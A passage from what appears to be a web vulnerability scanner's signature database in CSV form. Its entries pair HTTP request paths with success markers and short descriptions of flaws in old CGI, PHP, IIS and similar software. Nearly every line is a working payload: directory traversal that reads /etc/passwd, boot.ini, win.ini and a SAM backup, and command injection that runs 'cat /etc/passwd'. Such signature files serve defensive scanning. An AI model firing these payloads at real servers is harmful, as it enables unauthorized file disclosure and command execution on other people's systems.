retrieved from the server. MS01-033.","","" "000513","0","5","/query.idq?CiTemplate=../../../../../../../../../../winnt/win.ini","GET","[fonts]","","","","","This allows arbitrary files to be retrieved from the server. MS01-033.","","" "000514","0","5","/iissamples/issamples/fastq.idq?CiTemplate=../../../../../../../../../../winnt/win.ini","GET","[fonts]","","","","","This allows arbitrary files to be retrieved from the server. MS01-033.","","" "000515","0","5","/iissamples/issamples/query.idq?CiTemplate=../../../../../../../../../../winnt/win.ini","GET","[fonts]","","","","","This allows arbitrary files to be retrieved from the server. MS01-033.","","" "000516","0","5","/default.htm%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20","GET","[fonts]","","","","","Server may be vulnerable to a Webhits.dll arbitrary file retrieval. Ensure Q252463i, Q252463a or Q251170 is installed. MS00-006.","","" "000517","0","5","/default.htm%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20","GET","[windows]","","","","","Server may be vulnerable to a Webhits.dll arbitrary file retrieval. Ensure Q252463i, Q252463a or Q251170 is installed. MS00-006.","","" "000518","0","5","/................../config.sys","GET","200","","","","","PWS allows files to be read by prepending multiple '.' characters. At worst, IIS, not PWS, should be used.","","" "000519","0","5","/cfdocs/exampleapp/email/getfile.cfm?filename=c:\boot.ini","GET","boot loader","","","","","Allows attacker to view arbitrary files","","" "000520","0","5","/cfdocs/exampleapp/docs/sourcewindow.cfm?Template=c:\boot.ini","GET","boot loader","","","","","Allows attacker to view arbitrary files","","" "000521","0","5","/cfdocs/expeval/exprcalc.cfm?OpenFilePath=c:\boot.ini","GET","boot loader","","","","","Allows attacker to view arbitrary files.","","" "000522","0","5","/netget?sid=user&msg=300&file=../../../../../../../../../boot.ini","GET","boot loader","","","","","Sybex E-Trainer allows arbitrary files to be retrieved.","","" "000523","0","5","/netget?sid=user&msg=300&file=../../../../../../../../../../etc/passwd","GET","root:","","","","","Sybex E-Trainer allows arbitrary files to be retrieved.","","" "000524","0","5","/php/php.exe?c:\winnt\boot.ini","GET","boot loader","","","","","Apache/PHP installations can be misconfigured (according to documentation) to allow files to be retrieved remotely.","","" "000525","0","5","/phpping/index.php?pingto=www.test.com%20|%20dir%20c:\",","GET","boot.ini","","","","","PHP Ping allows commands to be executed on the remote host.","","" "000526","0","5","/scripts/db4web_c.exe/dbdirname/c%3A%5Cboot.ini","GET","boot loader","","","","","The boot.ini file was retrieved by using the db4web executable.","","" "000527","0","5","/us/cgi-bin/sewse.exe?d:/internet/sites/us/sewse/jabber/comment2.jse+c:\boot.ini","GET","boot loader","","","","","Default scripts can allow arbitrary access to the host.","","" "000528","0","5","/wx/s.dll?d=/boot.ini","GET","boot loader","","","","","WebCollection Plus allows any file to be retrieved from the remote system.","","" "000529","0","5","@CGIDIRSAlbum?mode=album&album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&dispsize=640&start=0","GET","resolv.conf","","","","","This CGI allows attackers to view arbitrary files on the host.","","" "000530","0","5","/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../boot.ini","GET","boot loader","","","","","The Web_Server_4D is vulnerable to a directory traversal problem.","","" "000531","0","5","/servlet/webacc?User.html=../../../../../../../../../../../../../../../../../../boot.ini%00","GET","[boot loader]","","","","","The Novell Groupwise WebAcc Servlet allows attackers to view arbitrary files on the server.","","" "000532","0","5","@CGIDIRSSQLServ/sqlbrowse.asp?filepath=c:\&Opt=3","GET","boot.ini","","","","","Hosting Controller versions 1.4.1 and lower can allow arbitrary files/directories to be read. Upgrade.","","" "000533","0","5","@CGIDIRSstats/statsbrowse.asp?filepath=c:\&Opt=3","GET","boot.ini","","","","","Hosting Controller versions 1.4.1 and lower can allow arbitrary files/directories to be read. Upgrade.","","" "000534","0","5","@CGIDIRStest.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\","GET","boot.ini","","","","","This CGI allows attackers to read files from the server.","","" "000535","0","5","@CGIDIRStst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,","GET","boot.ini","","","","","This CGI allows attackers to execute arbitrary commands on the server.","","" "000536","0","5","@CGIDIRSinput.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\","GET","boot.ini","","","","","This CGI allows attackers to read files from the server.","","" "000537","0","5","@CGIDIRSinput2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\","GET","boot.ini","","","","","This CGI allows attackers to read files from the server.","","" "000538","0","5","/ssi/envout.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\","GET","boot.ini","","","","","This CGI allows attackers to read files from the server.","","" "000539","0","5","/php/php.exe?c:\boot.ini","GET","boot loader","","","","","The Apache config allows php.exe to be called directly."," ","" "000540","0","5","/../../../../../../../../../boot.ini","GET","boot loader","","","","","The remote server allows any system file to be retrieved remotely.","","" "000541","0","5","/../../../../winnt/repair/sam._","GET","200","","","Forbidden","","Sam backup successfully retrieved.","","" "000542","0","5","/..\\..\\..\\..\\..\\..\\..\\boot.ini","GET","boot loader","","","","","It is possible to read files on the server by adding /../ in front of file name.","","" "000543","0","5","///etc/passwd","GET","root:","","","","","The server install allows reading of any system file by adding an extra '/' to the URL.","","" "000544","0","5","///etc/hosts","GET","200","","","","","The server install allows reading of any system file by adding an extra '/' to the URL.","","" "000545","0","5","////./../.../boot.ini","GET","boot loader","","","","","Server is vulnerable to directory traversal, this may be Lidik Webserver 0.7b from lysias.de. See http://www.it-checkpoint.net/advisory/14.html for details.","","" "000546","0","5","/.cobalt/sysManage/../admin/.htaccess","GET","AuthName","","","","","Cobalt RaQ 4 server manager allows any files to be retrieved by using the path through the .cobalt directory.","","" "000547","0","5","/albums/userpics/Copperminer.jpg.php?cat%20/etc/passwd","GET","root:","","","","","Coppermine 1.0 RC3 may have been compromised to allow arbitrary file retreival. Upgrade to the latest at http://www.chezgreg.net/coppermine/","","" "000548","0","5","/autohtml.php?op=modload&mainfile=x&name=/etc/passwd","GET","root:","","","","","php-proxima 6.0 and below allows arbitrary files to be retrieved.","","" "000549","0","5","/atomicboard/index.php?location=../../../../../../../../../../etc/passwd","GET","root:","","","","","AtomicBoard v0.6.2 allows remote users to read arbitrary files.","","" "000550","0","5","/current/modules.php?mod=fm&file=../../../../../../../../../../etc/passwd%00&bn=fm_d1","GET","root:","","","","","w-agora 4.1.5 allows any file to be retrieved from the remote host.","","" "000551","0","5","/current/index.php?site=demos&bn=../../../../../../../../../../etc/passwd%00","GET","root:","","","","","w-agora 4.1.5 allows any file to be retrieved from the remote host.","","" "000552","0","5","/dev/translations.php?ONLY=%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd%00","GET","root:","","","","","Typo3 allows any file to be retrieved remotely. Upgrade to the latest version.","","" "000553","0","5","/DomainFiles/*//../../../../../../../../../../etc/passwd","GET","root:","","","","","Communigate Pro 4.0b to 4.0.2 allow any file to be retrieved from the remote system.","","" "000554","0","5","/docs/showtemp.cfm?TYPE=JPEG&FILE=c:\boot.ini","GET","boot loader","","","","","Gafware's CFXImage allows remote users to view any file on the system.","","" "000555","0","5","/ezhttpbench.php?AnalyseSite=/etc/passwd&NumLoops=1","GET","root:","","","","","eZ httpbench version 1.1 allows any file on the remote server to be retrieved.","","" "000556","0","5","/index.php?download=/winnt/win.ini","GET","[fonts]","","","","","Snif 1.2.4 allows any file to be retrieved from the web server.","","" "000557","0","5","/index.php?download=/windows/win.ini","GET","[windows]","","","","","Snif 1.2.4 allows any file to be retrieved from the web server.","","" "000558","0","5","/index.php?download=/etc/passwd","GET","root:","","","","","Snif 1.2.4 allows any file to be retrieved from the web server.","","" "000559","0","5","/index.php?|=../../../../../../../../../etc/passwd","GET","root:","","","","","Portix-PHP Portal allows retrieval of arbitrary files via the '..' type filtering problem.","","" "000560","0","5","/index.php?page=../../../../../../../../../../etc/passwd","GET","root:","","","","","The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host. (probably Rocket, but could be any index.php)","","" "000561","0","5","/index.php?page=../../../../../../../../../../boot.ini","GET","boot loader","","","","","The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host. (probably Rocket, but could be any index.php)","","" "000562","0","5","/index.php?l=forum/view.php&topic=../../../../../../../../../etc/passwd","GET","root:","","","","","Portix-PHP Portal allows retrieval of arbitrary files via the '..' type filtering problem.","","" "000563","0","5","/jsp/jspsamp/jspexamples/viewsource.jsp?source=../../../../../../../../../../etc/passwd","GET","root:","","","","","Default JRun CGI lets users read any system file.","","" "000564","0","5","/jsp/jspsamp/jspexamples/viewsource.jsp?source=../../../../../../../../../../boot.ini","GET","boot loader","","","","","Default JRun CGI lets users read any system file.","","" "000565","0","5","/k/home?dir=/&file=../../../../../../../../etc/passwd&lang=kor","GET","root:","","","","","Kebi Academy 2001 Web Solution allows any file to be retrieved from the remote system.","","" "000566","0","5","/nph-showlogs.pl?files=../../../../../../../../etc/passwd&filter=.*&submit=Go&linecnt=500&refresh=0","GET","root:","","","","","nCUBE Server Manage 1.0 allows any file to be read on the remote system.","","" "000567","0","5","/nph-showlogs.pl?files=../../../../../../../../etc/&filter=.*&submit=Go&linecnt=500&refresh=0","GET","passwd","","","","","nCUBE Server Manage 1.0 allows directory listings of any location on the remote system.","","" "000568","0","5","/phprocketaddin/?page=../../../../../../../../../../boot.ini","GET","boot loader","","","","","The PHP-Nuke Rocket add-in is vulnerable to file traversal, allowing an attacker to view any file on the host.","","" "000569","0","5","/phpwebfilemgr/index.php?f=../../../../../../../../../etc/passwd","GET","root:","","","","","phpWebFileManager v2.0.0 and prior are vulnerable to a directory traversal bug.","","" "000570","0","5","/phpwebfilemgr/index.php?f=../../../../../../../../../etc","GET","passwd","","","","","phpWebFileManager v2.0.0 and prior are vulnerable to a directory traversal bug.","","" "000571","0","5","/phptonuke.php?filnavn=/etc/passwd","GET","root:","","","","","Photonouke or myphpnuke allows artbitrary file to be retrieved from the remote host.","","" "000572","0","5","/put/cgi-bin/putport.exe?SWAP&BOM&OP=none&Lang=en-US&PutHtml=../../../../../../../../etc/passwd","GET","root:","","","","","NCR's Terradata server contains a CGI which allows any file to be retrieved remotely.","","" "000573","0","5","/ROADS/cgi-bin/search.pl?form=../../../../../../../../../../etc/passwd%00","GET","root:","","","","","The ROADS search.pl allows attackers to retrieve system files.","","" "000574","0","5","/support/common.php?f=0&ForumLang=../../../../../../../../../../etc/passwd","GET","root:","","","","","This CGI allows attackers to read files on the host.","","" "000575","0","5","/viewpage.php?file=/etc/passwd","GET","root:","","","","","PHP Nuke script viewpage.php allows any file to be retrieved from the remote system.","","" "000576","0","5","/Web_Store/web_store.cgi?page=../../../../../../../../../../etc/passwd%00.html","GET","root:","","","","","eXtropia's Web Store lets attackers read any file on the system by appending a %00.html to the name.","","" "000577","0","5","/webMathematica/MSP?MSPStoreID=..\..\..\..\..\..\..\..\..\..\boot.ini&MSPStoreType=image/gif","GET","boot loader","","","","","Wolfram Research's webMathematica allows any file to be read on the remote system. Upgrade to the latest version on http://www.wolfram.com/","","" "000578","0","5","/webMathematica/MSP?MSPStoreID=../../../../../../../../../../etc/passwd&MSPStoreType=image/gif","GET","root:","","","","","Wolfram Research's webMathematica allows any file to be read on the remote system. Upgrade to the latest version on http://www.wolfram.com/","","" "000579","0","5","@CGIDIRSadmin.cgi?list=../../../../../../../../../../etc/passwd","GET","root:","","","","","Add2it Mailman Free V1.73 allows arbitrary files to be retrieved.","","" "000580","0","5","@CGIDIRS14all.cgi?cfg=../../../../../../../../etc/passwd","GET","root:","","","","","Multi Router Traffic Grapher (mrtg.org) is vulnerable to a 'show files' vulnerability. Software should be upgraded to the latest version.","","" "000581","0","5","@CGIDIRS14all-1.1.cgi?cfg=../../../../../../../../etc/passwd","GET","root:","","","","","Multi Router Traffic Grapher (mrtg.org) is vulnerable to a 'show files' vulnerability. Software should be upgraded to the latest version.","","" "000582","0","5","@CGIDIRSanacondaclip.pl?template=../../../../../../../../../../etc/passwd","GET","root:","","","","","This allows attackers to read arbitrary files from the server.","","" "000583","0","5","@CGIDIRSauktion.cgi?menue=../../../../../../../../../../etc/passwd","GET","root:","","","","","The CGI allows attackers to read arbitrary files remotely.","","" "000584","0","5","@CGIDIRSbigconf.cgi?command=view_textfile&file=/etc/passwd&filters=","GET","root:","","","","","This CGI allows attackers to read arbitrary files on the host.","","" "000585","0","5","@CGIDIRSbb-hostsvc.sh?HOSTSVC=../../../../../../../../../../etc/passwd","GET","root:","","","","","Versions of BigBrother 1.4h or older allow attackers to read arbitrary files on the system.","","" "000586","0","5","@CGIDIRSbb-hist?HISTFILE=../../../../../../../../../../etc/passwd","GET","root:","","","","","Versions 1.09b or1.09c of BigBrother allow attackers to read arbitrary files.","","" "000587","0","5","@CGIDIRSbb-hist.sh?HISTFILE=../../../../../../../../../../etc/passwd","GET","root:","","","","","Versions 1.09b or1.09c of BigBrother allow attackers to read arbitrary files.","","" "000588","0","5","@CGIDIRScommon.php?f=0&ForumLang=../../../../../../../../../../etc/passwd","GET","root:","","","","","This CGI allows attackers to read files on the host.","","" "000589","0","5","@CGIDIRScommerce.cgi?page=../../../../../../../../../../etc/passwd%00index.html","GET","root:","","","","","This CGI allows attackers to read arbitrary files on the server.","","" "000590","0","5","@CGIDIRScgiforum.pl?thesection=../../../../../../../../../../etc/passwd%00","GET","root:","","","","","This CGI allows attackers to read arbitrary files on the server.","","" "000591","0","5","@CGIDIRScal_make.pl?p0=../../../../../../../../../../etc/passwd%00","GET","root:","","","","","This CGI allows attackers to read arbitrary files on the host.","","" "000592","0","5","@CGIDIRSdb4web_c/dbdirname//etc/passwd","GET","root:","","","","","The passwd file was retrieved by using the db4web executable.","","" "000593","0","5","@CGIDIRSdirectorypro.cgi?want=showcat&show=../../../../../../../../../../etc/passwd%00","GET","root:","","","","","This CGI allows attackers to read arbitrary files on the server.","","" "000594","0","5","@CGIDIRSemumail/emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00","GET","root:","","","","","EmuMail allows any file to be retrieved from the remote system.","","" "000595","0","5","@CGIDIRSemumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00","GET","root:","","","","","EmuMail allows any file to be retrieved from the remote system.","","" "000596","0","5","@CGIDIRSemu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00","GET","root:","","","","","EmuMail allows any file to be retrieved from the remote system.","","" "000597","0","5","@CGIDIRSfaxsurvey?cat%20/etc/passwd","GET","root:","","","","","This CGI allows attackers to execute commands and read files remotely.","","" "000598","0","5","@CGIDIRSfaqmanager.cgi?toc=/etc/passwd%00","GET","root:","","","","","FAQmanager allows arbitrary files to be read on the host. Upgrade to latest version: http://www.fourteenminutes.com/code/faqmanager/","","" "000599","0","5","@CGIDIRSezshopper/search.cgi?user_id=id&database=dbase1.exm&template=../../../../../../../etc/passwd&distinct=1","GET","200","","","","","EZShopper search CGI read arbitrary files","","" "000600","0","5","@CGIDIRSformmail?recipient=root@localhost%0Acat%20/etc/passwd&email=joeuser@localhost&subject=test","GET","root:","","","","","This CGI allows attackers to retrieve arbitrary files from the server.","","" "000601","0","5","@CGIDIRSformmail.pl?recipient=root@localhost%0Acat%20/etc/passwd&email=joeuser@localhost&subject=test","GET","root:","","","","","This CGI allows attackers to retrieve arbitrary files from the server.","","" "000602","0","5","@CGIDIRSgenerate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1","GET","[fonts]","","","","","This CGI from SIX webboard allows attackers read arbitrary files on the host.","","" "000603","0","5","@CGIDIRSgenerate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1","GET","[windows]","","","","","This CGI from SIX webboard allows attackers read arbitrary files on the host.","","" "000604","0","5","@CGIDIRSgenerate.cgi?content=../../../../../../../../../../etc/passwd%00board=board_1","GET","root:","","","","","This CGI from SIX webboard allows attackers read arbitrary files on the host.","","" "000605","0","5","@CGIDIRShtmlscript?../../../../../../../../../../etc/passwd","GET","root:","","","","","This CGI contains a well known vul that allows attackers to read any system file.","","" "000606","0","5","@CGIDIRShtgrep?file=index.html&hdr=/etc/passwd","GET","root:","","","","","This CGI contains a well known vul that allows attackers to read any system file.","","" "000607","0","5","@CGIDIRShsx.cgi?show=../../../../../../../../../../../etc/passwd%00","GET","root:","","","","","This CGI contains a well known vul that allows attackers to read any system file.","","" "000608","0","5","@CGIDIRSsewse?/home/httpd/html/sewse/jabber/comment2.jse+/etc/passwd","GET","root:","","","","","Default scripts can allow arbitrary access to the host.","","" "000609","0","5","@CGIDIRSsbcgi/sitebuilder.cgi","GET","200","","","","","SITEBUILDER v1.4 may allow retrieval of any file. With a valid username and password, request: /<CGIDIR>/sbcgi/sitebuilder.cgi?username=<user>&password=<password>&selectedpage=../../../../../../../../../../etc/passwd","","" "000610","0","5","@CGIDIRSmrtg.cgi?cfg=../../../../../../../../etc/passwd","GET","root:","","","","","Multi Router Traffic Grapher (mrtg.org) is vulnerable to a 'show files' vulnerability. Software should be upgraded to the latest version.","","" "000611","0","5","@CGIDIRSmrtg.cfg?cfg=../../../../../../../../etc/passwd","GET","root:","","","","","Multi Router Traffic Grapher (mrtg.org) is vulnerable to a 'show files' vulnerability. Software should be upgraded to the latest version.","","" "000612","0","5","@CGIDIRSmain.cgi?board=FREE_BOARD&command=down_load&filename=../../../../../../../../../../etc/passwd","GET","root:","","","","","This CGI allows attackers to read arbitrary files remotely.","","" "000613","0","5","@CGIDIRSmail/nph-mr.cgi?do=loginhelp&configLanguage=../../../../../../../etc/passwd%00","GET","root:","","","","","MailReader.com v2.3.31 web package allows remote users to retrieve any system file.","","" "000614","0","5","@CGIDIRSmail/emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00","GET","root:","","","","","EmuMail allows any file to be retrieved from the remote system.","","" "000615","0","5","@CGIDIRSloadpage.cgi?user_id=1&file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini","GET","[windows]","","","","","This CGI allows attackers to read arbitrary files on the host.","","" "000616","0","5","@CGIDIRSloadpage.cgi?user_id=1&file=../../../../../../../../../../etc/passwd","GET","root:","","","","","This CGI allows attackers to read arbitrary files on the host.","","" "000617","89","5","@CGIDIRShtsearch?exclude=%60/etc/passwd%60","GET","root:","","","","","This CGI contains a well known vul that allows attackers to read any system file.","","" "000618","0","5","@CGIDIRSshop.cgi?page=../../../../../../../etc/passwd","GET","root:","","","","","Remote file read retrieval.","","" "000619","0","5","@CGIDIRSsendtemp.pl?templ=../../../../../../../../../../etc/passwd","GET","root:","","","","","This CGI contains a well known vul that allows attackers to read any system file.","","" "000620","0","5","@CGIDIRSsearch/search.cgi?keys=*&prc=any&catigory=../../../../../../../../../../../../etc","GET","resolv.conf","","","","","It is possible to read files on the remote server, this CGI should be removed.","","" "000621","0","5","@CGIDIRSsearch.pl?form=../../../../../../../../../../etc/passwd%00","GET","root:","","","","","The ROADS search.pl allows attackers to retrieve system files.","","" "000622","0","5","@CGIDIRSsearch.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini","GET","[fonts]","","","","","This CGI contains a well known vul that allows attackers to read any system file.","","" "000623","0","5","@CGIDIRSsearch.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini","GET","[windows]","","","","","This CGI contains a well known vul that allows attackers to read any system file.","","" "000624","0","5","@CGIDIRSquickstore.cgi?page=../../../../../../../../../../etc/passwd%00html&cart_id=","GET","root:","","","","","This CGI allows attackers to read arbitrary files on the remote system.","","" "000625","0","5","@CGIDIRSpublisher/search.cgi?dir=jobs&template=;cat%20/etc/passwd|&output_number=10","GET","root:","","","","","AHG's search.cgi allows any command to be executed. www.ahg.com.","","" "000626","0","5","@CGIDIRSphp.cgi?/etc/passwd","GET","root:","","","","","This allows attackers to read arbitrary files on the system and perhaps execute commands.","","" "000627","0","5","@CGIDIRSpals-cgi?palsAction=restart&documentName=/etc/passwd","GET","root:","","","","","This CGI allows remote users to read system files.","","" "000628","0","5","@CGIDIRSopendir.php?/etc/passwd","GET","root:","","","","","This CGI allows attackers to read any file on the web server.","","" "000629","0","5","@CGIDIRSnph-emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00","GET","root:","","","","","EmuMail allows any file to be retrieved from the remote system.","","" "000630","0","5","@CGIDIRSnewsdesk.cgi?t=../../../../../../../../../../etc/passwd","GET","root:","","","","","This CGI allows attackers to view arbitrary files on the server.","","" "000631","0","5","@CGIDIRSnetauth.cgi?cmd=show&page=../../../../../../../../../../etc/passwd","GET","root:","","","","","This CGI allows attackers to view arbitrary files on the server.","","" "000632","0","5","@CGIDIRSmultihtml.pl?multi=/etc/passwd%00html","GET","root:","","","","","This CGI allows attackers to read arbitrary files on the host. May also allow a shell to be spawned using http://www.packetstormsecurity.org/0009-exploits/multihtml.c","","" "000633","0","5","@CGIDIRSwebdist.cgi?distloc=;cat%20/etc/passwd","GET","root:","","","","","This CGI allows attackers to read files remotely.","","" "000634","0","5","@CGIDIRSway-board/way-board.cgi?db=/etc/passwd%00","GET","root:","","","","","Allows attackers to read arbitrary files from the server.","","" "000635","0","5","@CGIDIRSway-board.cgi?db=/etc/passwd%00","GET","root:","","","","","Allows attackers to read arbitrary files from the server.","","" "000636","0","5","@CGIDIRSview_item?HTML_FILE=../../../../../../../../../../etc/passwd%00","GET","root:","","","","","This CGI allows reading of remote files.","","" "000637","0","5","@CGIDIRSviewsource?/etc/passwd","GET","root:","","","","","Allows attacker to retrieve arbitrary files. Remove from CGI directory.","","" "000638","0","5","@CGIDIRSttawebtop.cgi/?action=start&pg=../../../../../../../../../../etc/passwd","GET","root:","","","","","Tarantell TTAWeb Top CGI lets remote users read arbitrary files.","","" "000639","0","5","@CGIDIRStraffic.cgi?cfg=../../../../../../../../etc/passwd","GET","root:","","","","","Multi Router Traffic Grapher (mrtg.org) is vulnerable to a 'show files' vulnerability. Software should be upgraded to the latest version.","","" "000640","0","5","@CGIDIRStechnote/main.cgi?board=FREE_BOARD&command=down_load&filename=/../../../../../../../../../../etc/passwd","GET","root:","","","","","This CGI allows attackers to read arbitrary files remotely.","","" "000641","0","5","@CGIDIRStalkback.cgi?article=../../../../../../../../etc/passwd%00&action=view&matchview=1","GET","200","","","","","Talkback CGI displays arbitrary files","","" "000642","0","5","@CGIDIRSstory/story.pl?next=../../../../../../../../../../etc/passwd%00","GET","root:","","","","","story.pl versions older than 1.4 allow any file to be read remotely.","","" "000643","0","5","@CGIDIRSstory.pl?next=../../../../../../../../../../etc/passwd%00","GET","root:","","","","","story.pl versions older than 1.4 allow any file to be read remotely.","","" "000644","0","5","@CGIDIRSstore/index.cgi?page=../../../../../../../../etc/passwd","GET","root:","","","","","CommerceSQL allows reading of arbitrary files. Default install found in /cgi-bin/store/, default login/pass is username/password.","","" "000645","0","5","@CGIDIRSstore.cgi?StartID=../../../../../../../../../../etc/passwd%00.html","GET","root:","","","","","This CGI allows attackers to read arbitrary files remotely.","","" "000646","0","5","@CGIDIRSssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd","GET","root:","","","","","The server install allows reading of any system file by sending encoded '../' directives.","","" "000647","0","5","@CGIDIRSsojourn.cgi?cat=../../../../../../../../../../etc/password%00","GET","root:","","","","","This CGI allows attackers to read arbitrary files.","","" "000648","0","5","@CGIDIRSsimple/view_page?mv_arg=|cat%20/etc/passwd|","GET","root:","","","","","This CGI allows attackers to execute commands on the host as the HTTP daemon owner.","","" "000649","0","5","@CGIDIRSshopper.cgi?newpage=../../../../../../../../../../etc/passwd","GET","root:","","","","","Versions 1 and 2 of Byte's Interactive Web Shopper allow attackers to read files remotely. Uncomment the #$debug=1 variable.","","" "000650","0","5","/servlet/webacc?User.html=../../../../../../../../../../../../../../../../../../etc/passwd%00","GET","root:","","","","","The Novell Groupwise WebAcc Servlet allows attackers to view arbitrary files on the server.","","" "000651","0","5","/webcalendar/forum.php?user_inc=../../../../../../../../../../etc/passwd","GET","root:","","","","","Webcalendar 0.9.41 and below allow remote users to read arbitrary files.","","" "000652","0","5","/logbook.pl?file=../../../../../../../bin/cat%20/etc/passwd%00|","GET","root:","","","","","Wordit Limited 2000 allows command execution.","","" "000653","0","5","@CGIDIRSsawmill5?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1","GET","root:","","","","","Remote file retrieval.","","" "000654","0","5","/page.cgi?../../../../../../../../../../etc/passwd","GET","root:","","","","","WWWeBBB Forum up to version 3.82beta allow arbitrary file retrieval.","","" "000655","0","5","/edittag/edittag.cgi?file=%2F..%2F..%2F..%2F..%2F..%2Fetc/passwd","GET","root:","","","","","EditTag allows arbitrary file retrieval.","","" "000656","0","5","/base/webmail/readmsg.php?mailbox=../../../../../../../../../../../../../../etc/passwd&id=1","GET","root:","","","","","Remote file retrieval.","","" "000659","0","5","@CGIDIRSzml.cgi?file=../../../../../../../../../../etc/passwd%00","GET","root:","","","","","Ztreet Markup Language interpreter allows arbitrary file to be read remotely.","","" "000660","0","5","@CGIDIRSYaBB.pl?board=news&action=display&num=../../../../../../../../../../etc/passwd%00","GET","root:","","","","","This CGI lets users read any file with http daemon's permissions. Upgrade to latest version","","" "000661","0","5","@CGIDIRSwhois_raw.cgi?fqdn=%0Acat%20/etc/passwd","GET","root:","","","","","Allows attacker to view any file (and possibly execute commands). Upgrade to latest version","","" "000662","0","5","@CGIDIRSwhois/whois.cgi?lookup=;&ext=/bin/cat%20/etc/passwd","GET","root:","","","","","The whois.cgi allows any command to be executed on the system.","","" "000663","0","5","@CGIDIRSwhois.cgi?lookup=;&ext=/bin/cat%20/etc/passwd","GET","root:","","","","","The whois.cgi allows any command to be executed on the system.","","" "000664","0","5","@CGIDIRSwebspirs.cgi?sp.nextform=../../../../../../../../../../etc/passwd","GET","root:","","","","","This CGI allows attackers to read arbitrary files.","","" "000665","0","5","@CGIDIRSwebplus?script=../../../../../../../../../../etc/passwd","GET","root:","","","","","This CGI allows attackers to retrieve files remotely.","","" "000666","0","5","@CGIDIRSwebmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../../etc/passwd%00","GET","root:","","","","","EmuMail allows any file to be retrieved from the remote system.","","" "000667","16861","8","/athenareg.php?pass=%20;cat%20/etc/passwd","GET","root:","","","","","Athena web registration remote command execution.","","" "000668","278","7","/PSUser/PSCOErrPage.htm?errPagePath=/etc/passwd","GET","root:","","","","","This default Netscape file allows an attacker to read arbitrary files on the host.","","" "000669","0","5","/search?NS-query-pat=../../../../../../../../../../etc/passwd","GET","root:","","","","","The iPlanet server allows arbitrary files to be retrieved through the search functionality. Install 4.1 SP10+ or 6.0 SP3+","","" "000670","0","5","/search?NS-query-pat=..\..\..\..\..\..\..\..\..\..\boot.ini","GET","boot loader","","","","","The iPlanet server allows arbitrary files to be retrieved through the search functionality. Install 4.1 SP10+ or 6.0 SP3+","","" "000671","0","7","/..\..\..\..\..\..\temp\temp.class","GET","200","","","","","Cisco ACS 2.6.x and 3.0.1 (build 40) allows authenticated remote users to retrieve any file from the system. Upgrade to the latest version.","","" "000672","0","7","/../../../../../../../../../../etc/passwd","GET","root:","","","","","It is possible to read files on the server by adding ../ in front of file name.","","" "000673","0","7","/.../.../.../.../.../.../.../.../.../boot.ini","GET","boot loader","","","","","Software allows files to be retrieved outside of the web root by using 'triple dot' notation. May be MiniPortal?","","" "000674","0","7","/................../etc/passwd","GET","root:","","","","","The web server allows the password file to be retrieved.","","" "000675","0","3","/%3f.jsp","GET","Index of","","","","","JRun 3.0 and 3.1 on NT/2000 running IIS4 or IIS5 allow directory listing by requesting %3f.jsp at the end of a URL.","","" "000676","0","3","/%3f.jsp","GET","Directory Listing","","","","","JRun 3.0 and 3.1 on NT/2000 running IIS4 or IIS5 allow directory listing by requesting %3f.jsp at the end of a URL.","","" "000677","0","7","/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini","GET","[windows]","","","","","Attackers can read any file on the system. Upgrade to Analogx 1.07 or higher.","","" "000678","0","7","/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd","GET","root:","","","","","Web server allows reading of files by sending encoded '../' requests. This server may be Boa (boa.org).","","" "000679","0","3","/%00","GET","File Name","","","","","Appending /%00 to a request to the web server may reveal a directory listing.","","" "000680","0","7","/ca//\\../\\../\\../\\../\\../\\../\\windows/\\win.ini","GET","[windows]","","","","","It is possible to read files on the server by adding through directory traversal by adding multiple /\\.. in front of file name.","","" "000681","0","7","/ca/..\\..\\..\\..\\..\\..\\/\\etc/\\passwd","GET","root:","","","","","It is possible to read files on the server by adding through directory traversal by adding multiple /\\.. in front of file name.","","" "000682","0","7","/ca/..\\..\\..\\..\\..\\..\\..\\..\\winnt/\\win.ini","GET","[fonts]","","","","","It is possible to read files on the server by adding through directory traversal by adding multiple /\\.. in front of file name.","","" "000683","0","9","/admentor/adminadmin.asp","GET","200","","","","","Version 2.11 of AdMentor is vulnerable to SQL injection during login, in the style of: ' or =","","" "000684","0","9","@POSTNUKEMy_eGallery/public/displayCategory.php","GET","200","","","","","My_eGallery prior to 3.1.1.g are vulnerable to a remote execution bug via SQL command injection. displayCategory.php calls imageFunctions.php without checking URL/location arguments.","","" 